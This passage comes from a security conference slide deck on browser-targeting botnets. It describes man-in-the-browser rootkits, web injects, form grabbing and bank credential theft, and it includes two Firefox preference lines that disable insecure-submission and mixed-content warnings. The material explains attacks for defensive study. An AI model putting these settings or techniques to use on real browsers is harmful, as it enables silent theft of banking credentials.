user_pref("security.warn_submit_insecure",false); » Browser does not raise an alert box when information in sent over HTTP while submitting forms. – user_pref("security.warn_viewing_mixed",false); » Remove the warning of supporting mixed content over SSL. OLD School trick but works very effectively. Several other techniques of subverting the browser security also exists. 37 Man-in-the-Browser (MitB)  Inside MitB ─ MitB typically refers to a userland rootkit that exploits the browser integrity 38 What Lies Beneath? Note: The Pop up is triggered in user’s active session. So what it is actually? No doubt it is a Popup, but the technique is termed as Web Injects not phishing or something like that. 39 Web Injects  Web Injects ─ Based on the concept of hooking specific functions in the browser DLLs ─ On the fly infection tactic ─ Execution flow ● Bot injects malicious content in the incoming HTTP responses ● Injections are based on the static file named as webinjects.txt ● Rules are statically defined by the botmaster ● Bot fetches rules from the webinjects.txt file and injects in the live webpages ─ Information stealing in a forceful manner ● Exploits user ignorance 40 Web Injects  What is meant by GPH flags? ─ Exploitation and infection metrics ● G - injection will be made only for the resources that are requested by the GET ● P - injection will be made only for the resources that are requested by the POST ● L - is a flag for grabbing content between the tags data_before and data_after inclusive ● H – similar as L except the ripped content is not included and the contents of tags data_before and data_after 41 Web Injects – Real Time Cases (1) Forceful Cookie Injection in Citibank’s website to manipulate the user’s session 42 Web Injects – Real Time Cases (2) Injecting HTML content in Bank of America’s webpages to steal the ATM number and the Pass code. Injecting HTML content in Wells Fargo bank to steal user’s ATM code. 43 Form Grabbing  Form Grabbing ─ It is an advanced technique of capturing information present in forms 44  Why Form Grabbing ? ─ Keylogging produces plethora of data ─ Form grabbing – extracting data from the GET/POST requests ─ Based on the concept of hooking and DLL injection ─ No real protection against malware Form Grabbing 45 Form Grabbing  Harvested Data Harvested data from POST requests. Kaspersky’s anti virus license key entered by the user 46 Demonstration 47 This Data is Not Yours ! All Browsers ! 48 Conclusion  Botnets have become more robust and sophisticated  Significant increase in exploitation of browsers  HTTP has been used for data exfiltration  Botnets die hard 49 Questions 50 Thanks  DEF Con crew ─ http://www.defcon.org  SecNiche Security Labs ─ http://www.secniche.org ─ http://secniche.blogspot.com
pdf